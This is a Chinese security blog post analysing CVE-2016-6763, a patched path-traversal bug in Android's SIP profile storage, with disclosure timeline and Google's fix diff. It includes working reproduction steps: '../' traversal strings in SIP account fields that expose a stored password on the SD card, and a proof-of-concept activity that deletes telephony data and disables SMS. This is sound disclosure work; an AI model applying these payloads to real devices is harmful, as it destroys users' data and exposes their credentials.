长亭百川云 - 文章详情

Android Telephony拒绝服务漏洞(CVE-2016-6763)分析

MS509

57

2024-07-13

责任编辑:支书Woojune

前些日子,团队 heeeeen 大牛,发了一篇全英文的CVE-2016-6763漏洞分析文章(Details of Denial of service vulnerability in Telephony,详见历史消息或团队主页www.ms509.com),有些粉丝通过微信公众号私信小编,直呼太高大上、看不懂,有没有接地气一点的,为此小编特意请 heeeeen 大牛来了版接地气的,还有什么其他需求尽管私信小编,小编我会尽力满足

0x00

概要

Google 12月的安全公告修复了我们提交的一个Telephony拒绝服务漏洞。

* CVE: CVE-2016-6763
* BugID: A-31530456
* 严重性: 高
* 影响的Google设备: All
* Updated AOSP versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0

0x01

漏洞详情

漏洞位于负责sip账户序列化和反序列化的SipProfileDb.java中。见deleteProfile、saveProfile和retriveSipProfileName等方法,存在目录穿越,mProfileDirectory和Sip profile name(形式为:sip账户@sip主机名)未经检查就直接拼接在了一起,而Sip profile name允许存在包括’/’和’..’等在内的特殊字符,因此本地攻击者可以通过构建包含这些特殊字符的Sip profile name,将sip序列化文件存储于属于radio用户的的任意目录。

0x02

漏洞利用

这个漏洞允许具有物理接触权限的本地攻击者或者被欺骗的用户在radio用户的目录下创建一个名字可控的文件夹,或者删除radio用户目录下的所有文件。在报给Google的漏洞报告中,我们基于Nexus 6P设备和Android 6.0.1版本,设想了两种需要物理接触和用户交互的攻击场景,但根据Google安全公告,不排除他们发现了自动化的攻击面。

窃取SIP账户口令

假设手机上已有一个SIP账户:alice@CompromisedSite,口令为”12345″

1. 打开电话应用的设置->通话->通话账号->Sip账号,对已有账号进行修改;
2. 将用户名修改为”alice/”,将服务器名修改为“CompromisedSite/../../../../../../../../sdcard/”,点击保存。

sip 账户配置文件将出现在sdcard目录,可以直接查看这个配置文件获得原始口令“12345”

shell@angler:/sdcard $ ls -a -l
-rw-rw—- root sdcard_rw 1843 2016-09-12 14:58 .pobj

禁用短信或者电话功能

1. 打开电话应用的设置->通话->通话账号->Sip账号,添加一个新的Sip账号;
2. 用户名填“alice/”,服务器名填“somesite/../../../../../../../../data/data/com.android.providers.telephony/“,密码随意,然后点击保存;
3. 由于com.android.phone将会对目录名和序列化的sip配置文件中的sip profile name进行检查,这个账户不会出现在Sip账户的ListView中,然而由于目录穿越的存在,sip配置文件仍然会存储于/data/data/com.android.providers.telephony/目录下;
4. 使用以下代码,将刚才添加的Sip账号显示出来;

public class MainActivity extends AppCompatActivity {

Button m_btn = null;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

m_btn = (Button)findViewById(R.id.siptest);

m_btn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent i = new Intent();
i.setComponent(new ComponentName(“com.android.phone”,
“com.android.services.telephony.sip.SipPhoneAccountSettingsActivity”));

PhoneAccountHandle handle = new PhoneAccountHandle(new ComponentName(“com.android.phone”,
“com.android.services.telephony.sip.SipConnectionService”),
“alice/@somesite/../../../../../../../../data/data/com.android.providers.telephony/”);
i.putExtra(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE, handle);

startActivity(i);
}
});
}
}

5. 将服务器修改

为“somesite/../../../../../../../../data/data/com.android.providers.telephony/databases/mmssms.db”,并点击保存,这将依次调用SipProfileDb.java中的deleteProfile和savaProfile方法。因此,首先是com.android.providers.telephony目录下的所有文件被删除,紧接着建立databases目录以及其下的mmssms.db目录。

此时,手机的所有短信功能将被禁用,既不能收,也不能发。

logcat显示sqlite错误,因为我们在/data/data/com.android.providers.telephony/databases/放了一个假的mmsms.db 文件(目录)占位,而使真正的mmssms.db无法恢复。如果使用假的telephony.db,则可以禁用电话功能,或者瞄准/data/misc/radio/目录下的其他文件进行占位,都会对手机的radio功能带来影响。

09-14 10:19:44.593 3862 4522 E SQLiteLog: (1032) statement aborts at 58: [UPDATE sms SET read=?,seen=? WHERE thread_id=1 AND date<=9223372036854775807 AND read=0]
09-14 10:19:44.593 3862 4522 E DatabaseUtils: Writing exception to parcel
09-14 10:19:44.593 3862 4522 E DatabaseUtils: android.database.sqlite.SQLiteReadOnlyDatabaseException: attempt to write a readonly database (code 1032)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteConnection.nativeExecuteForChangedRowCount(Native Method)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteConnection.executeForChangedRowCount(SQLiteConnection.java:732)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteSession.executeForChangedRowCount(SQLiteSession.java:754)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteStatement.executeUpdateDelete(SQLiteStatement.java:64)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteDatabase.updateWithOnConflict(SQLiteDatabase.java:1576)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteDatabase.update(SQLiteDatabase.java:1522)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at com.android.providers.telephony.SmsProvider.update(SmsProvider.java:744)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.content.ContentProvider$Transport.update(ContentProvider.java:355)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.content.ContentProviderNative.onTransact(ContentProviderNative.java:222)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.os.Binder.execTransact(Binder.java:453)

由于占位文件的存在,普通用户只有通过恢复工厂设置重新启用短信功能。

0x03

修复

Google的修复比较严谨,不是简单的过滤’/’猥琐字符。

@@ -20,6 +20,7 @@

import android.content.Context;
import android.net.sip.SipProfile;
+import android.util.EventLog;
import android.util.Log;

import java.io.File;
@@ -51,9 +52,13 @@
mSipSharedPreferences = new SipSharedPreferences(context);
}

– public void deleteProfile(SipProfile p) {

  • public void deleteProfile(SipProfile p) throws IOException {
    synchronized(SipProfileDb.class) {
    – deleteProfile(new File(mProfilesDirectory + p.getProfileName()));

  • File profileFile = new File(mProfilesDirectory, p.getProfileName());

  • if (!isChild(new File(mProfilesDirectory), profileFile)) {

  • throw new IOException(“Invalid Profile Credentials!”);

  • }

  • deleteProfile(profileFile);
    if (mProfilesCount < 0) retrieveSipProfileListInternal();
    mSipSharedPreferences.setProfilesCount(–mProfilesCount);
    }
    @@ -69,7 +74,10 @@
    public void saveProfile(SipProfile p) throws IOException {
    synchronized(SipProfileDb.class) {
    if (mProfilesCount < 0) retrieveSipProfileListInternal();
    – File f = new File(mProfilesDirectory + p.getProfileName());

  • File f = new File(mProfilesDirectory, p.getProfileName());

  • if (!isChild(new File(mProfilesDirectory), f)) {

  • throw new IOException(“Invalid Profile Credentials!”);

  • }
    if (!f.exists()) f.mkdirs();
    AtomicFile atomicFile =
    new AtomicFile(new File(f, PROFILE_OBJ_FILE));
    @@ -141,4 +149,19 @@
    }
    return null;
    }

  • /**

  • * Verifies that the file is a direct child of the base directory.

  • */

  • private boolean isChild(File base, File file) {

  • if (base == null || file == null) {

  • return false;

  • }

  • if (!base.equals(file.getAbsoluteFile().getParentFile())) {

  • Log.w(TAG, “isChild, file is not a child of the base dir.”);

  • EventLog.writeEvent(0x534e4554, “31530456”, -1, “”);

  • return false;

  • }

  • return true;

  • }
    }

0x04

时间线

2016-09-12: 上报Google
2016-10-04: Google确认漏洞,评级高
2016-12-05: 发布补丁
2016-12-08: 公开

版权声明:

本文由MS509团队成员原创,转载请注明来源

MS509简介:

 

MS509为“中国网安”开展互联网攻防技术研究的专业团队,当前主攻方向包括WEB安全、移动安全、二进制安全等**。****更多团队动态,尽在www.ms509.com**

↓↓↓ 点击"阅读原文" 【查看更多信息】

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2